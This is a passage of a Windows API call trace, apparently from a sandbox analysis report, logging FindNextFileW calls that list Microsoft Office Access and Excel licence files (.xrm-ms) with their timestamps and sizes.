ftCreationTime.dwLowDateTime=0xe2d3c6cc, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe2d3c6cc, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xe2f5281c, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x512c, dwReserved0=0x0, dwReserved1=0x0, cFileName="AccessR_OEM_Perp-ppd.xrm-ms", cAlternateFileName="AC6D20~1.XRM")) returned 1 [0194.035] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fbee2c0 | out: lpFindFileData=0x1fbee2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe2d16476, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe2d16476, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xe2f06362, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x2d43, dwReserved0=0x0, dwReserved1=0x0, cFileName="AccessR_OEM_Perp-ul-oob.xrm-ms", cAlternateFileName="AC1492~1.XRM")) returned 1 [0194.035] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fbee2c0 | out: lpFindFileData=0x1fbee2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe2d16476, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe2d16476, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xe2f9ecf2, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4ddc, dwReserved0=0x0, dwReserved1=0x0, cFileName="AccessR_OEM_Perp-ul-phn.xrm-ms", cAlternateFileName="ACAD72~1.XRM")) returned 1 [0194.036] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fbee2c0 | out: lpFindFileData=0x1fbee2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe2b4c7d1, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe2b4c7d1, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xe2d88bc4, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x2987, dwReserved0=0x0, dwReserved1=0x0, cFileName="AccessR_Retail-pl.xrm-ms", cAlternateFileName="AC7E42~1.XRM")) returned 1 [0194.036] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fbee2c0 | out: lpFindFileData=0x1fbee2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe29cf0c3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe29cf0c3, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xe2d16476, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x512a, dwReserved0=0x0, dwReserved1=0x0, cFileName="AccessR_Retail-ppd.xrm-ms", cAlternateFileName="AC6686~1.XRM")) returned 1 [0194.036] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fbee2c0 | out: lpFindFileData=0x1fbee2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe29366eb, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe29366eb, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xe29cf0c3, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x2d3b, dwReserved0=0x0, dwReserved1=0x0, cFileName="AccessR_Retail-ul-oob.xrm-ms", cAlternateFileName="ACCESS~4.XRM")) returned 1 [0194.036] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fbee2c0 | out: lpFindFileData=0x1fbee2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe2b4c7d1, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe2b4c7d1, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xe2dd500f, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4dd4, dwReserved0=0x0, dwReserved1=0x0, cFileName="AccessR_Retail-ul-phn.xrm-ms", cAlternateFileName="ACAF89~1.XRM")) returned 1 [0194.036] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fbee2c0 | out: lpFindFileData=0x1fbee2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe29a8e16, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe29a8e16, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xe2cf0288, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x2b87, dwReserved0=0x0, dwReserved1=0x0, cFileName="AccessR_Trial-pl.xrm-ms", cAlternateFileName="AC69E2~1.XRM")) returned 1 [0194.036] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fbee2c0 | out: lpFindFileData=0x1fbee2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe2982ba2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe2982ba2, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xe2b72a71, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x51a5, dwReserved0=0x0, dwReserved1=0x0, cFileName="AccessR_Trial-ppd.xrm-ms", cAlternateFileName="AC7797~1.XRM")) returned 1 [0194.036] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fbee2c0 | out: lpFindFileData=0x1fbee2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe295c968, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe295c968, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xe2a1b5af, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x2d47, dwReserved0=0x0, dwReserved1=0x0, cFileName="AccessR_Trial-ul-oob.xrm-ms", cAlternateFileName="AC031B~1.XRM")) returned 1 [0194.036] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fbee2c0 | out: lpFindFileData=0x1fbee2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe318eac3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe318eac3, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xe3299b47, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x1a8a, dwReserved0=0x0, dwReserved1=0x0, cFileName="AccessVL_KMS_Client-ppd.xrm-ms", cAlternateFileName="AC225E~1.XRM")) returned 1 [0194.037] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fbee2c0 | out: lpFindFileData=0x1fbee2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe32738ee, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe32738ee, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xe337e9fc, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x2d5e, dwReserved0=0x0, dwReserved1=0x0, cFileName="AccessVL_KMS_Client-ul-oob.xrm-ms", cAlternateFileName="AC86E0~1.XRM")) returned 1 [0194.037] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fbee2c0 | out: lpFindFileData=0x1fbee2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe303760d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe303760d, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xe3201264, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x2586, dwReserved0=0x0, dwReserved1=0x0, cFileName="AccessVL_KMS_Client-ul.xrm-ms", cAlternateFileName="AC4FC4~1.XRM")) returned 1 [0194.037] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fbee2c0 | out: lpFindFileData=0x1fbee2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe318eac3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe318eac3, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xe3299b47, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x297f, dwReserved0=0x0, dwReserved1=0x0, cFileName="AccessVL_MAK-pl.xrm-ms", cAlternateFileName="AC3BFD~1.XRM")) returned 1 [0194.037] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fbee2c0 | out: lpFindFileData=0x1fbee2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe30113f9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe30113f9, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xe31db01c, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x1a49, dwReserved0=0x0, dwReserved1=0x0, cFileName="AccessVL_MAK-ppd.xrm-ms", cAlternateFileName="ACF0DC~1.XRM")) returned 1 [0194.037] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fbee2c0 | out: lpFindFileData=0x1fbee2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe2daee42, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe2daee42, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xe30113f9, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x2d3d, dwReserved0=0x0, dwReserved1=0x0, cFileName="AccessVL_MAK-ul-oob.xrm-ms", cAlternateFileName="AC2E1B~1.XRM")) returned 1 [0194.037] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fbee2c0 | out: lpFindFileData=0x1fbee2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe2fc4ef7, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe2fc4ef7, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xe318eac3, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4dd6, dwReserved0=0x0, dwReserved1=0x0, cFileName="AccessVL_MAK-ul-phn.xrm-ms", cAlternateFileName="ACEEE9~1.XRM")) returned 1 [0194.037] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fbee2c0 | out: lpFindFileData=0x1fbee2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe2fc4ef7, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe2fc4ef7, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xe324d6a5, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xc8b, dwReserved0=0x0, dwReserved1=0x0, cFileName="client-issuance-bridge-office.xrm-ms", cAlternateFileName="CL0848~1.XRM")) returned 1 [0194.038] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fbee2c0 | out: lpFindFileData=0x1fbee2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe28ea227, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe28ea227, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xe2982ba2, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xc93, dwReserved0=0x0, dwReserved1=0x0, cFileName="client-issuance-root-bridge-test.xrm-ms", cAlternateFileName="CL284D~1.XRM")) returned 1 [0194.038] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fbee2c0 | out: lpFindFileData=0x1fbee2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe28c3fe1, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe28c3fe1, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xe295c968, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xc1f, dwReserved0=0x0, dwReserved1=0x0, cFileName="client-issuance-root.xrm-ms", cAlternateFileName="CLIENT~4.XRM")) returned 1 [0194.038] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fbee2c0 | out: lpFindFileData=0x1fbee2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe289dd92, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe289dd92, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xe29366eb, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xd34, dwReserved0=0x0, dwReserved1=0x0, cFileName="client-issuance-stil.xrm-ms", cAlternateFileName="CLIENT~3.XRM")) returned 1 [0194.038] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fbee2c0 | out: lpFindFileData=0x1fbee2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe282b673, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe282b673, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xe28ea227, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x1128, dwReserved0=0x0, dwReserved1=0x0, cFileName="client-issuance-ul-oob.xrm-ms", cAlternateFileName="CLIENT~2.XRM")) returned 1 [0194.038] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fbee2c0 | out: lpFindFileData=0x1fbee2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe2687c83, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe2687c83, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xe282b673, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x1070, dwReserved0=0x0, dwReserved1=0x0, cFileName="client-issuance-ul.xrm-ms", cAlternateFileName="CLIENT~1.XRM")) returned 1 [0194.038] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fbee2c0 | out: lpFindFileData=0x1fbee2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe2f2c57f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe2f2c57f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xe305d884, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x5169, dwReserved0=0x0, dwReserved1=0x0, cFileName="ExcelR_Grace-ppd.xrm-ms", cAlternateFileName="EXCELR~3.XRM")) returned 1 [0194.039] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fbee2c0 | out: lpFindFileData=0x1fbee2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe2f2c57f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe2f2c57f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xe314269a, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x2d45, dwReserved0=0x0, dwReserved1=0x0, cFileName="ExcelR_Grace-ul-oob.xrm-ms", cAlternateFileName="EXCELR~2.XRM")) returned 1 [0194.039] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fbee2c0 | out: lpFindFileData=0x1fbee2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe2dd500f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe2dd500f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xe2feb0e6, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x298b, dwReserved0=0x0, dwReserved1=0x0, cFileName="ExcelR_OEM_Perp-pl.xrm-ms", cAlternateFileName="EXCELR~1.XRM")) returned 1 [0194.039] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fbee2c0 | out: lpFindFileData=0x1fbee2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe34fc158, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe34fc158, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xe38697b8, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x516e, dwReserved0=0x0, dwReserved1=0x0, cFileName="ExcelR_OEM_Perp-ppd.xrm-ms", cAlternateFileName="EX46CD~1.XRM")) returned 1 [0194.039] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fbee2c0 | out: lpFindFileData=0x1fbee2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe3594a6c, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe3594a6c, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xe3a595e5, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x2d3e, dwReserved0=0x0, dwReserved1=0x0, cFileName="ExcelR_OEM_Perp-ul-oob.xrm-ms", cAlternateFileName="EX3475~1.XRM")) returned 1 [0194.039] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fbee2c0 | out: lpFindFileData=0x1fbee2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe3332528, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe3332528, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xe34afc59, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4dd7, dwReserved0=0x0, dwReserved1=0x0, cFileName="ExcelR_OEM_Perp-ul-phn.xrm-ms", cAlternateFileName="EXD89F~1.XRM")) returned 1 [0194.040] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fbee2c0 | out: lpFindFileData=0x1fbee2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe330c311, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe330c311, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xe34172f7, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x2983, dwReserved0=0x0, dwReserved1=0x0, cFileName="ExcelR_Retail-pl.xrm-ms", cAlternateFileName="EX3998~1.XRM")) returned 1 [0194.040] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fbee2c0 | out: lpFindFileData=0x1fbee2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe330c311, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe330c311, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xe35223c3, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x516c, dwReserved0=0x0, dwReserved1=0x0, cFileName="ExcelR_Retail-ppd.xrm-ms", cAlternateFileName="EX788A~1.XRM")) returned 1 [0194.040] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fbee2c0 | out: lpFindFileData=0x1fbee2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe3299b47, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe3299b47, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xe3358711, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x2d36, dwReserved0=0x0, dwReserved1=0x0, cFileName="ExcelR_Retail-ul-oob.xrm-ms", cAlternateFileName="EX9957~1.XRM")) returned 1 [0194.040] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fbee2c0 | out: lpFindFileData=0x1fbee2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe3201264, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe3201264, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xe32e60a0, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4dcf, dwReserved0=0x0, dwReserved1=0x0, cFileName="ExcelR_Retail-ul-phn.xrm-ms", cAlternateFileName="EXCELR~4.XRM")) returned 1 [0194.040] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fbee2c0 | out: lpFindFileData=0x1fbee2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe330c311, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe330c311, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xec691f40, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x2b83, dwReserved0=0x0, dwReserved1=0x0, cFileName="ExcelR_Trial-pl.xrm-ms", cAlternateFileName="EXA577~1.XRM")) returned 1 [0194.040] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fbee2c0 | out: lpFindFileData=0x1fbee2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe3299b47, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe3299b47, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xe330c311, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x51e7, dwReserved0=0x0, dwReserved1=0x0, cFileName="ExcelR_Trial-ppd.xrm-ms", cAlternateFileName="EX4CA4~1.XRM")) returned 1 [0194.040] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fbee2c0 | out: lpFindFileData=0x1fbee2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe337e9fc, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe337e9fc, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xe34d5ed4, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x2d42, dwReserved0=0x0, dwReserved1=0x0, cFileName="ExcelR_Trial-ul-oob.xrm-ms", cAlternateFileName="EXB3BA~1.XRM")) returned 1 [0194.040] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fbee2c0 | out: lpFindFileData=0x1fbee2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe34172f7, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe34172f7, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xe35485e3, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x1acc, dwReserved0=0x0, dwReserved1=0x0, cFileName="ExcelVL_KMS_Client-ppd.xrm-ms", cAlternateFileName="EXCELV~1.XRM")) returned 1 [0194.041] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fbee2c0 | out: lpFindFileData=0x1fbee2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xec750afb, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xec750afb, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xec7e944d, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x2d59, dwReserved0=0x0, dwReserved1=0x0, cFileName="ExcelVL_KMS_Client-ul-oob.xrm-ms", cAlternateFileName="EX0778~1.XRM")) returned 1 [0194.041] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fbee2c0 | out: lpFindFileData=0x1fbee2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe3af1fe3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe3af1fe3, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xe3bd6df0, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x2581, dwReserved0=0x0, dwReserved1=0x0, cFileName="ExcelVL_KMS_Client-ul.xrm-ms", cAlternateFileName="EXCDB8~1.XRM")) returned 1 [0194.041] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fbee2c0 | out: lpFindFileData=0x1fbee2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe3aa5b3e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe3aa5b3e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xe3b8a961, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x297b, dwReserved0=0x0, dwReserved1=0x0, cFileName="ExcelVL_MAK-pl.xrm-ms", cAlternateFileName="EXCELV~4.XRM")) returned 1 [0194.041] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fbee2c0 | out: lpFindFileData=0x1fbee2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe3aa5b3e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe3aa5b3e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xe3bb0ba1, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x1a8b, dwReserved0=0x0, dwReserved1=0x0, cFileName="ExcelVL_MAK-ppd.xrm-ms", cAlternateFileName="EXCELV~3.XRM")) returned 1 [0194.041] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fbee2c0 | out: lpFindFileData=0x1fbee2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe3a0d1e6, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe3a0d1e6, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xe3b181c2, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x2d38, dwReserved0=0x0, dwReserved1=0x0, cFileName="ExcelVL_MAK-ul-oob.xrm-ms", cAlternateFileName="EXCELV~2.XRM")) returned 1 [0194.041] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fbee2c0 | out: lpFindFileData=0x1fbee2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe3bb0ba1, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe3bb0ba1, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xe3c494f9, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4dd1, dwReserved0=0x0, dwReserved1=0x0, cFileName="ExcelVL_MAK-ul-phn.xrm-ms", cAlternateFileName="EX3B3E~1.XRM")) returned 1 [0194.041] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fbee2c0 | out: lpFindFileData=0x1fbee2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe3c9598b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe3c9598b, 